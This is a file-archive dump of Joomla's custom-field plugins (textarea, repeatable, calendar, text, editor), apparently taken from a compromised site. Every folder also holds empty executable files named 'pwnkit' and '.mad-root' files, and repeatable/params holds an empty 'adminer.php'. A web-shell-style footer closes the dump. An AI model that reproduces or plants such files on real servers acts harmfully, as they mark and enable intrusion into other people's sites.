description="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_DESC" class="btn-group" validate="options" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> <option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option> <option value="integer">JLIB_FILTER_PARAMS_INTEGER</option> <option value="float">JLIB_FILTER_PARAMS_FLOAT</option> <option value="tel">JLIB_FILTER_PARAMS_TEL</option> </field> </fieldset> </fields> </form> textarea/.mad-root 0000644 00000000000 15252013275 0010074 0 ustar 00 textarea/tmpl/.mad-root 0000644 00000000000 15252013275 0011050 0 ustar 00 textarea/tmpl/textarea.php 0000644 00000000565 15252013275 0011673 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Textarea * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } echo JHtml::_('content.prepare', $value); textarea/tmpl/pwnkit 0000755 00000000000 15252013275 0010567 0 ustar 00 textarea/pwnkit 0000755 00000000000 15252013275 0007613 0 ustar 00 textarea/textarea.xml 0000644 00000004464 15252013275 0010732 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_textarea</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_TEXTAREA_XML_DESCRIPTION</description> <files> <filename plugin="textarea">textarea.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_textarea.ini</language> <language tag="en-GB">en-GB.plg_fields_textarea.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="rows" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_DESC" default="10" filter="integer" size="5" /> <field name="cols" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_COLS_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_COLS_DESC" default="10" filter="integer" size="5" /> <field name="maxlength" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_DESC" filter="integer" /> <field name="filter" type="list" label="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_DESC" class="btn-group" default="JComponentHelper::filterText" validate="options" > <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> <option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option> <option value="integer">JLIB_FILTER_PARAMS_INTEGER</option> <option value="float">JLIB_FILTER_PARAMS_FLOAT</option> <option value="tel">JLIB_FILTER_PARAMS_TEL</option> </field> </fieldset> </fields> </config> </extension> textarea/textarea.php 0000644 00000000721 15252013275 0010711 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Textarea * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Textarea Plugin * * @since 3.7.0 */ class PlgFieldsTextarea extends FieldsPlugin { } repeatable/tmpl/repeatable.php 0000644 00000001114 15252013275 0012440 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Repeatable * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $fieldValue = $field->value; if ($fieldValue === '') { return; } // Get the values $fieldValues = json_decode($fieldValue, true); if (empty($fieldValues)) { return; } $html = '<ul>'; foreach ($fieldValues as $value) { $html .= '<li>' . implode(', ', $value) . '</li>'; } $html .= '</ul>'; echo $html; repeatable/params/adminer.php 0000644 00000000000 15252013275 0012253 0 ustar 00 repeatable/params/repeatable.xml 0000604 00000002455 15252013275 0012765 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="fields" type="subform" label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDS_LABEL" description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDS_DESC" multiple="true"> <form> <fields> <fieldset> <field name="fieldname" type="text" label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_NAME_LABEL" description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_NAME_DESC" required="true" /> <field name="fieldtype" type="list" label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_LABEL" description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_DESC" > <option value="editor">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_EDITOR</option> <option value="media">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_MEDIA</option> <option value="number">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_NUMBER</option> <option value="text">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_TEXT</option> <option value="textarea">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_TEXTAREA</option> </field> </fieldset> </fields> </form> </field> </fieldset> </fields> </form> repeatable/repeatable.php 0000604 00000007171 15252013275 0011471 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Repeatable * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ use Joomla\CMS\MVC\Model\BaseDatabaseModel; defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Repeatable plugin. * * @since 3.9.0 */ class PlgFieldsRepeatable extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.9.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $readonly = false; if (!FieldsHelper::canEditFieldValue($field)) { $readonly = true; } $fieldNode->setAttribute('type', 'subform'); $fieldNode->setAttribute('multiple', 'true'); $fieldNode->setAttribute('layout', 'joomla.form.field.subform.repeatable-table'); // Build the form source $fieldsXml = new SimpleXMLElement('<form/>'); $fields = $fieldsXml->addChild('fields'); // Get the form settings $formFields = $field->fieldparams->get('fields'); // Add the fields to the form foreach ($formFields as $index => $formField) { $child = $fields->addChild('field'); $child->addAttribute('name', $formField->fieldname); $child->addAttribute('type', $formField->fieldtype); $child->addAttribute('readonly', $readonly); } $fieldNode->setAttribute('formsource', $fieldsXml->asXML()); // Return the node return $fieldNode; } /** * The save event. * * @param string $context The context * @param JTable $item The article data * @param boolean $isNew Is new item * @param array $data The validated data * * @return boolean * * @since 3.9.0 */ public function onContentAfterSave($context, $item, $isNew, $data = array()) { // Create correct context for category if ($context == 'com_categories.category') { $context = $item->get('extension') . '.categories'; // Set the catid on the category to get only the fields which belong to this category $item->set('catid', $item->get('id')); } // Check the context $parts = FieldsHelper::extract($context, $item); if (!$parts) { return true; } // Compile the right context for the fields $context = $parts[0] . '.' . $parts[1]; // Loading the fields $fields = FieldsHelper::getFields($context, $item); if (!$fields) { return true; } // Get the fields data $fieldsData = !empty($data['com_fields']) ? $data['com_fields'] : array(); // Loading the model /** @var FieldsModelField $model */ $model = BaseDatabaseModel::getInstance('Field', 'FieldsModel', array('ignore_request' => true)); // Loop over the fields foreach ($fields as $field) { // Find the field of this type repeatable if ($field->type !== $this->_name) { continue; } // Determine the value if it is available from the data $value = key_exists($field->name, $fieldsData) ? $fieldsData[$field->name] : null; // Handle json encoded values if (!is_array($value)) { $value = json_decode($value, true); } // Setting the value for the field and the item $model->setFieldValue($field->id, $item->get('id'), json_encode($value)); } return true; } } repeatable/repeatable.xml 0000644 00000001617 15252013275 0011505 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.8.0" group="fields" method="upgrade"> <name>plg_fields_repeatable</name> <author>Joomla! Project</author> <creationDate>April 2018</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_FIELDS_REPEATABLE_XML_DESCRIPTION</description> <files> <filename plugin="repeatable">repeatable.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages folder="language"> <language tag="en-GB">en-GB/en-GB.plg_fields_repeatable.ini</language> <language tag="en-GB">en-GB/en-GB.plg_fields_repeatable.sys.ini</language> </languages> </extension> repeatable/.mad-root 0000644 00000000000 15252013275 0010363 0 ustar 00 repeatable/pwnkit 0000755 00000000000 15252013275 0010102 0 ustar 00 calendar/calendar.xml 0000644 00000001545 15252013275 0010617 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_calendar</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_CALENDAR_XML_DESCRIPTION</description> <files> <filename plugin="calendar">calendar.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_calendar.ini</language> <language tag="en-GB">en-GB.plg_fields_calendar.sys.ini</language> </languages> </extension> calendar/calendar.php 0000644 00000002376 15252013275 0010611 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Calendar * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Calendar Plugin * * @since 3.7.0 */ class PlgFieldsCalendar extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } // Set filter to user UTC $fieldNode->setAttribute('filter', 'USER_UTC'); // Set field to use translated formats $fieldNode->setAttribute('translateformat', '1'); $fieldNode->setAttribute('showtime', $field->fieldparams->get('showtime', 0) ? 'true' : 'false'); return $fieldNode; } } calendar/tmpl/pwnkit 0000755 00000000000 15252013275 0010523 0 ustar 00 calendar/tmpl/.mad-root 0000644 00000000000 15252013275 0011004 0 ustar 00 calendar/tmpl/calendar.php 0000644 00000001061 15252013275 0011553 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Calendar * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } if (is_array($value)) { $value = implode(', ', $value); } $formatString = $field->fieldparams->get('showtime', 0) ? 'DATE_FORMAT_LC5' : 'DATE_FORMAT_LC4'; echo htmlentities(JHtml::_('date', $value, JText::_($formatString))); calendar/.mad-root 0000644 00000000000 15252013275 0010030 0 ustar 00 calendar/params/calendar.xml 0000644 00000000720 15252013275 0012074 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="showtime" type="radio" label="PLG_FIELDS_CALENDAR_PARAMS_SHOWTIME_LABEL" description="PLG_FIELDS_CALENDAR_PARAMS_SHOWTIME_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </form> calendar/pwnkit 0000755 00000000000 15252013275 0007547 0 ustar 00 text/tmpl/.mad-root 0000644 00000000000 15252013275 0010217 0 ustar 00 text/tmpl/pwnkit 0000755 00000000000 15252013275 0007736 0 ustar 00 text/tmpl/text.php 0000644 00000000637 15252013275 0010211 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Text * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } if (is_array($value)) { $value = implode(', ', $value); } echo htmlentities($value); text/params/.mad-root 0000644 00000000000 15252013275 0010526 0 ustar 00 text/params/text.xml 0000644 00000002055 15252013275 0010525 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="filter" type="list" label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL" description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC" class="btn-group" validate="options" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> <option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option> <option value="integer">JLIB_FILTER_PARAMS_INTEGER</option> <option value="float">JLIB_FILTER_PARAMS_FLOAT</option> <option value="tel">JLIB_FILTER_PARAMS_TEL</option> </field> <field name="maxlength" type="number" label="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_LABEL" description="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_DESC" filter="integer" /> </fieldset> </fields> </form> text/params/pwnkit 0000755 00000000000 15252013275 0010245 0 ustar 00 text/pwnkit 0000755 00000000000 15252013275 0006762 0 ustar 00 text/text.xml 0000644 00000003534 15252013275 0007245 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_text</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_TEXT_XML_DESCRIPTION</description> <files> <filename plugin="text">text.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_text.ini</language> <language tag="en-GB">en-GB.plg_fields_text.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="filter" type="list" label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL" description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC" class="btn-group" default="JComponentHelper::filterText" validate="options" > <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> <option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option> <option value="integer">JLIB_FILTER_PARAMS_INTEGER</option> <option value="float">JLIB_FILTER_PARAMS_FLOAT</option> <option value="tel">JLIB_FILTER_PARAMS_TEL</option> </field> <field name="maxlength" type="number" label="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_LABEL" description="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_DESC" filter="integer" /> </fieldset> </fields> </config> </extension> text/text.php 0000644 00000000705 15252013275 0007231 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Text * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Text Plugin * * @since 3.7.0 */ class PlgFieldsText extends FieldsPlugin { } text/.mad-root 0000644 00000000000 15252013275 0007243 0 ustar 00 editor/editor.xml 0000644 00000004542 15252013275 0010051 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_editor</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_EDITOR_XML_DESCRIPTION</description> <files> <filename plugin="editor">editor.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_editor.ini</language> <language tag="en-GB">en-GB.plg_fields_editor.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="buttons" type="radio" label="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="hide" type="plugins" label="PLG_FIELDS_EDITOR_PARAMS_BUTTONS_HIDE_LABEL" description="JGLOBAL_SELECT_SOME_OPTIONS" folder="editors-xtd" multiple="true" /> <field name="width" type="text" label="PLG_FIELDS_EDITOR_PARAMS_WIDTH_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_WIDTH_DESC" default="100%" size="5" /> <field name="height" type="text" label="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_DESC" default="250px" size="5" /> <field name="filter" type="list" label="PLG_FIELDS_EDITOR_PARAMS_FILTER_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_FILTER_DESC" class="btn-group" default="JComponentHelper::filterText" validate="options" > <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> </field> </fieldset> </fields> </config> </extension> editor/editor.php 0000644 00000002306 15252013275 0010034 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Editor * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Editor Plugin * * @since 3.7.0 */ class PlgFieldsEditor extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('buttons', $field->fieldparams->get('buttons', $this->params->get('buttons', 0)) ? 'true' : 'false'); $fieldNode->setAttribute('hide', implode(',', $field->fieldparams->get('hide', array()))); return $fieldNode; } } editor/pwnkit 0000755 00000000000 15252013275 0007264 0 ustar 00 editor/.mad-root 0000644 00000000000 15252013275 0007545 0 ustar 00 editor/params/editor.xml 0000644 00000002746 15252013275 0011340 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="buttons" type="list" label="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="hide" type="plugins" label="PLG_FIELDS_EDITOR_PARAMS_BUTTONS_HIDE_LABEL" description="JGLOBAL_SELECT_SOME_OPTIONS" folder="editors-xtd" multiple="true" /> <field name="width" type="text" label="PLG_FIELDS_EDITOR_PARAMS_WIDTH_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_WIDTH_DESC" size="5" /> <field name="height" type="text" label="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_DESC" size="5" /> <field name="filter" type="list" label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL" description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC" class="btn-group" validate="options" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> </field> </fieldset> </fields> </form> editor/params/.mad-root 0000644 00000000000 15252013275 0011030 0 ustar 00 editor/params/pwnkit 0000755 00000000000 15252013275 0010547 0 ustar 00 editor/tmpl/pwnkit 0000755 00000000000 15252013275 0010240 0 ustar 00 editor/tmpl/.mad-root 0000644 00000000000 15252013275 0010521 0 ustar 00 editor/tmpl/editor.php 0000644 00000000563 15252013275 0011013 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Editor * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } echo JHtml::_('content.prepare', $value);
| ver. 1.4 |
Github
|
.
| PHP 8.5.7 | Generation time: 0 |
proxy
|
phpinfo
|
Settings